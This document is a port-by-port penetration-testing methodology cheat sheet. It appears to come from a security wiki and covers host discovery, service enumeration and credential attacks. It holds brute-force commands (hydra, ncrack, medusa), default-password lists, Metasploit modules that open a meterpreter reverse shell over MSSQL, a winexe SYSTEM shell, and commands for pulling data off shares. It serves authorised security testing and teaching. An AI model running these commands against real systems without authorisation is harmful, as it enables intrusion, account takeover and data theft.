Strategy

Pre engagement

Log all commands of the current session

script engagement_x.log
--snip--
exit # when the session has finished

Set the target IP to the $IP variable
```
export $IP=x.x.x.x
```

General methodology

add host to your /etc/hosts if you already know its name or if you found it
For every open port TCP/UDP
- Find service and version
- Find known service bugs
- Find configuration issues
- Run nmap port scan / banner grabbing
Google-Fu
- Every error message
- Every URL path
- Every paramenter to find versions/apps/bugs
searchsploit every serivce
Google
- Every version exploit db
- Every version vulnerability
If app has auth
- User enumeration
- Password bruteforce
- Default credentials (Google them)
revert the machine
DEFCON 1 try:
```
nmap --script exploit -Pn $IP
```
Check if the hostname/target's name is meaningful for the assessment (E.g.: google its name for product, technology, etc)

Grab the damn banner!

nc -v $IP <PORT>
telnet $IP <PORT>

Network & Port scanning

If you don't know the alive hosts, you can scan the full subnet to find them, so you can do a deeper scan on them later.

Go big

List scan with nmap
```
nmap -sL -oN nmap/listScan 10.x.x.x/xx
```
Ping scan (run it with privileges)
```
nmap -sn -oN nmap/pingScan 10.x.x.x/xx
```
Look for hosts's info (name, logged-in user, MAC) with NetBIOS queries
```
nbtscan -r 10.x.x.x.x
```
Use ARP to do hosts discovery
```
netdiscover -r 10.x.x.x/24
```
smbtree

Go small (Individual host scanning)

Run a fast TCP port scan:
```
nmap -F -T4 -oN nmap/fastTCPScan $IP
```
Run a simple TCP port scan to uncover open ports
```
nmap -p- -T4 -oN nmap/ezTCPScan $IP
```
Run a simple UDP port scan to uncover open ports
```
nmap -sU -n -p- -T4 -oN nmap/ezUDPScan $IP
```
If lazy do an Aggressive scan on open ports (A = O+sC+sV)
```
nmap -A -T4 -px,y,z -v -oN nmap/aggressiveScan $IP
```
Do a version detection on TCP ports
```
nmap -sV --reason -O -p- $IP
```
Do a version detection on UDP ports
```
nmap -sU -sV -n $IP
```
Vulnerable to heartbleed?
```
nmap --script ssl-heartbleed $IP
```

Version/OS detection using other DNS servers

nmap -v --dns-server \<DNS\> -sV --reason -O --open -Pn $IP

Try identify unknown services
```
amap -d $IP \<PORT\>
```

Full vulnerability scanning with vulnscan.nse

nmap -sS -sV --script=/path/to/your/vulnscan.nse -oN nmap/vulnScan $IP

Service enumeration

FTP (TCP 21) | TFTP (UDP 21)

Banner grabbing
Connect and check for anonymous access

Any known vulnerability?

Check https://www.exploit-db.com/
Check https://www.cvedetails.com/
Check https://nvd.nist.gov/

Check on google

site:github.com *Service version.release*

Check with nmap

nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -Pn -oN nmap/ftpVuln -p 21 $IP

Default credentials check

hydra -s <PORT> -C usr/share/wordlists/ftp-default-userpass.txt -u -f $IP ftp

Download recursively all the files

wget -r ftp://user:pass@$IP/
wget -r --user="user" --password="secret" ftp://$IP/

SSH (TCP 22)

Banner grabbing

User enumeration

# using msf
msf > use auxiliary/scanner/ssh/ssh_enumusers
# leveraging exploit from ExploitDB
python /usr/share/exploitdb/platforms/linux/remote/40136.py -U /usr/share/wordlists/metasploit/unix_users.txt $IP

Bruteforce root

hydra -v -V -l root -P password-file.txt ssh://$IP

Bruteforce list of user

hydra -v -V -L userlist.txt -P password-file.txt ssh://$IP

Use requested Key Exchange List

ssh user@$IP -oKexAlgorithms={kex\_list}

Use requested cipher
```
ssh user@$IP -c {cipher}
```
Use requested MAC
```
ssh user@$IP -m {MAC}
```

SMTP (TCP 25)

Enumeration with nmap

nmap --script smtp-commands,smtp-enum-users,smtp-ntlm-info,smtp-open-relay -Pn -oN nmap/smtpEnum -p 25,465,587 $IP

Any known vulnerability?

Check https://www.exploit-db.com/
Check https://www.cvedetails.com/
Check https://nvd.nist.gov/

Check on google

site:github.com *Service version.release*

Check with nmap

nmap --script smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -Pn -p 25,465,587 -oN nmap/smtpVuln $IP

nc -nvv $IP
manual testing with telnet and VRFY / EXPN

Finger (TCP 79)

Download script and run it with a wordlist: http://pentestmonkey.net/tools/user-enumeration/finger-user-enum
```
finger-user-enum.pl -U users.txt -t $IP
```

Web App (TCP 80/443)

Phase Alpha - enumeration

Investigate SSL/TLS cert details for further information
Investigate robots.txt
Investigate crossdomain.xml
Investigate clientaccesspolicy.xml
Identify all parameters. Document which parameters are used for GET and POST
View source code
Nikto
Directory Traversal Fuzzer
- Gobuster (Doesn't work recursively!!!)
  File and directory fuzzing
  Vhost bruteforcing
  use -x to look for specific extensions (.txt, .php, .bak, .cfg, .json, .md, .git)
  nothing? Ensure that you scan the correct protocol (HTTP/HTTPS) and directory
  gobuster -w /usr/share/seclists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -t 50 -e -u $IP
  gobuster -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s '200,204,403,500' -e -t 50 -u $IP/cgi-bin
  Re-run for each directory found
- wfuzz
- dotdotpwn
WhatWeb & weppalyzer to map the whole infrastructure:
- Middleware
- Programming languages
- Backends
- Services
- Plugins
- Which CMS is running?
  wpscan
  joomscan
  drupwn
  use nmap to enumerates installed Drupal themes/modules
  nmap -p 80 --script http-drupal-enum $IP
WebDAV:
- davtest
- cadevar
- Use nmap to detect WebDAV installations & listings:
  nmap --script http-webdav-scan -p80,8080 $IP
Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

Check comments in source of all pages

nmap -p80 --script http-comments-displayer -oN nmap/commentHTTP $IP

RTFM! Read the manual for the application you are testing
- Does it have a dev mode?
- DEBUG=TRUE flag to see more?
- Other interesting stuff?
Look for where you can put data
- API
- Paywall or sign up
- Unauthenticated
Logical reasoning
- Look at the application from a bad guy perspective, what does it do? what is the most valuable part? Some applications will value things more than others, for example a premium website might be more concerned about users being able to bypass the pay wall than they are of say cross-site scripting
- Look at the application logic too, how is business conducted?

Phase Bravo - go deeper

Follow webapp testing methodology [[webapp_testing_methodology🌐]]
LFI / RFI test
cgi-bin found? try shellshock https://www.exploit-db.com/exploits/34900
Check every input field for SQLi
Check for code injection: Owasp code injection

DNS (UDP/TCP 53)

Find domain names for host
```
whois $IP
```
Find IP and authoritative servers
```
nslookup domain.com
```
Resolve DNS
```
host website.com
nslookup website.com
```
Find name servers
```
host -t ns domain.com
```
Find mail servers
```
host -t mx domain.com
```

Is DNS zone transfer possible?

nmap --script dns-zone-transfer -p 53 domain.com

Request zone transfer

host -l domain.name dns.server 

dig axfr @dns-server domain.name

dnsrecon -d domain.com -t axfr

dnsrecon -d $IP -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

POP (TCP 110)

Is username enumeration possible?

Nmap enumeration (Default scripts runned with -sC flag):

nmap --script pop3-capabilities -Pn -oN nmap/popCapabilities -p 110,995 $IP
nmap --script pop3-ntlm-info -Pn -oN nmap/popInfo -p 110,995 $IP

telnet $IP 110

USER user@IP
PASS admin
LIST - once logged in list messages
RETR \<MSG NUMBER\> - retrieve message
QUIT

Bruteforce with nmap

nmap -n -v -script pop3-brute -p 110 $IP

Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

RPCBind (TCP/UDP 111)

rpcinfo -p $IP

RPC (TCP 135)

rpcinfo -p $IP

SMB (TCP 139/445)

Enumeration

nmblookup -A $IP
enum4linux -a $IP
nmap --script="smb-enum*" --script-args=unsafe=1 -T5 $IP
nmap --script smb-enum-shares.nse --script-args=unsafe=1 -p445 $IP
nmap --script smb-enum-users.nse --script-args=unsafe=1 -p445 $IP
nmap --script smb-protocols $IP

nbtscan
enum4linux

Manual browsing (Prefer it whenever possible):

smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
winexe -U username //INSERTIPADDRESS "cmd.exe" --system

Any known vulnerability?

Check https://www.exploit-db.com/
Check https://www.cvedetails.com/
Check https://nvd.nist.gov/

Check on google

site:github.com *Service version.release*

Check with nmap

nmap -n -v --script="smb-vuln*" -oN nmap/smbAllVulns  -p 139,445 $IP
nmap -n -v --script smb-os-discovery.nse --script-args=unsafe=1 -oN nmap/smbOS -p 445 $IP
nmap -n -v --script smb-check-vulns --script-args=unsafe=1 -oN nmap/smbCehckVulns -p445 $IP

Download recursively all the files

smbclient \\\\$IP\\share
mask ""
recurse ON
prompt OFF
mget *

SNMP (UDP 161)

Enumeration

for community in public private manager; do snmpwalk -c $community -v1 $IP; done
snmpwalk -c public -v1 $IP
snmpenum -t $IP
snmpcheck -t $IP -c public
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $ip

Bruteforce community names
```
onesixtyone -c names -i hosts # fast
```
Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

MSSQL (TCP 1433)

Enumerate MSSQL Servers

# using msf
msf > use auxiliary/scanner/mssql/mssql_ping

nmap -sU --script=ms-sql-info $IP

Password bruteforcing

# using msf
msf > use auxiliary/scanner/mssql/mssql_login

hydra -l <USERNAME> -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt $IP -s <PORT> -t 5 mssql
hydra -s <PORT> -C ./wordlists/mssql-default-userpass.txt -u -f $IP mssql
medusa -h $IP -M mssql -u sa -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -e ns -F -t 5

Gain shell using gathered credentials

# using msf
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

sqsh -S $IP -U sa -P password -D db_name

Any known vulnerability?

Check https://www.exploit-db.com/
Check https://www.cvedetails.com/
Check https://nvd.nist.gov/

Check on google

site:github.com *Service version.release*

Check with nmap

nmap -vv -sV -Pn -p \<PORT\> --script=ms-sql-info,ms-sql-config,ms-sql-dump-hashes --script-args=mssql.instance-port=%s,smsql.username-sa,mssql.password-sa $IP

Oracle (TCP 1521)

Default credentials

hydra -s <PORT> -C ./wordlists/oracle-default-userpass.txt -u -f $IP

tnscmd10g version -h $IP
tnscmd10g status -h $IP

oracle-version - MSF module which scans Oracle DB to find the version

# using msf
msfcli auxiliary/scanner/oracle/tnslsnr\_version rhosts=$IP E

oracle-sid - MSF module to enumerate the Oracle DB SID

# using msf
msfcli auxiliary/scanner/oracle/sid\_enum rhosts=$IP E

Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

MySQL (TCP 3306)

Default credentials?

hydra -s <PORT> -C usr/share/wordlists/mysql-default-userpass.txt -u -f $IP mysql
```bash

Any known vulnerability?

Check https://www.exploit-db.com/
Check https://www.cvedetails.com/
Check https://nvd.nist.gov/

Check on google

site:github.com *Service version.release*

Check with nmap

nmap -sV -Pn -vv --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 -p 3306 $IP

PostgreSQL (TCP 5432)

Try default credentials:

postgres : postgres
postgres : password  
postgres : admin
admin : admin
admin : password

Pentest wiki will save you time
HackTricks PSQL
Hacking Articles PSQL
Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

Redis (TCP 6379)

https://redis.io/documentation
Interesting article by Antirez on Redis security
HackTricks' guide
ProgrammerSought's guide
Google-Fu
Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
  site:github.com *Service version.release*

RDP (TCP/UDP 3389)

Use rpd-sec-check to enumerate security settings:
```
perl ./scripts/rdp-sec-check.pl $IP:<PORT>
```

Use ncrack to brute force RDP:

ncrack -vv --user administrator -P /user/share/wordlists/rockyou.txt rdp://$IP

Use hydra to bruteforce RDP:

hydra -t 4  -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$IP

Check for BlueKeep
Check login with default guest account and blank password
Check with gathered users:passwds

VNC (TCP 5900)

Enum with nmap

nmap -sV -Pn -vv --script\=vnc-info,vnc-title -oN nmap/vncEnum -p 5900 $ip

Check for easy VNC passwords

Bruteforce:

hydra -s 5900 -P /usr/share/seclists/Passwords/darkweb2017-top10.txt vnc://$IP

Any known vulnerability?
- Check https://www.exploit-db.com/
- Check https://www.cvedetails.com/
- Check https://nvd.nist.gov/
- Check on google
```
site:github.com *Service version.release*
```
- Check with nmap
```
nmap -sV -Pn -vv --script realvnc-auth-bypass -oN nmap/vncAuthBypass -p 5900 $IP
```

LDAP (TCP/UDP 389) | LDAPS (TCP/UDP 636)

LDAPSearch can be utilized to locate and retrieve directory entries
```
ldapsearch -h $IP -p <PORT> -x -s base
```

Kerberos (88/464)

Passive network sniffing
```
kerbcrack
```

User enumeration

nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=research $IP

Test MS14-068

Rsync (TCP 873)

Manual enumeration

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy        	
NAS_Public     	
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection

#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Automate the enum

# using nmap
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>

# using msf
msf> use auxiliary/scanner/rsync/modules_list

# using rsync application

rsync -av --list-only rsync://$IP:$PORT

Gather the modules

# if no auth is required, you can list the module with
rsync -av --list-only rsync://$IP/module_name
# you can download with
rsync -av rsync://$IP/module_name ./downloaded_module
# you can upload with
rsync -av /path/to/upload/ rsync://$IP/destination/path/

# if auth is required, you just need to add username@$IP
# e.g.:
# rsync -av --list-only rsync://username@$IP/module_name

Image File Investigation

Always use wget for downloading files to keep original timestamps and file information
Use binwalk and strings to check image files for hidden content
steghide

Show NFS shares
```
showmount -e $IP <PORT>
```

Packet inspection

Wireshark

tcpdump

tcpdump tcp port <PORT> -w output.pcap -i <INTERFACE>
tcpdump -i any host <IP-TO-FILTER>

Anything else

nmap scripts (locate nse | grep servicename)
hydra
MSF auxiliary modules
Download the software and investigate it locally
Try enumeration scripts for specific

PreviousRPC Enumeration NextRDP Session Hijacking

Last updated 9 months ago

Was this helpful?

Pre engagement

General methodology

Grab the damn banner!

Network & Port scanning

Go big

Go small (Individual host scanning)

Service enumeration

FTP (TCP 21) | TFTP (UDP 21)

SSH (TCP 22)

SMTP (TCP 25)

Finger (TCP 79)

Web App (TCP 80/443)

DNS (UDP/TCP 53)

POP (TCP 110)

RPCBind (TCP/UDP 111)

RPC (TCP 135)

SMB (TCP 139/445)

SNMP (UDP 161)

MSSQL (TCP 1433)

Oracle (TCP 1521)

MySQL (TCP 3306)

PostgreSQL (TCP 5432)

Redis (TCP 6379)

RDP (TCP/UDP 3389)

VNC (TCP 5900)

LDAP (TCP/UDP 389) | LDAPS (TCP/UDP 636)

Kerberos (88/464)

Rsync (TCP 873)

Image File Investigation

NFS Share

Packet inspection

Anything else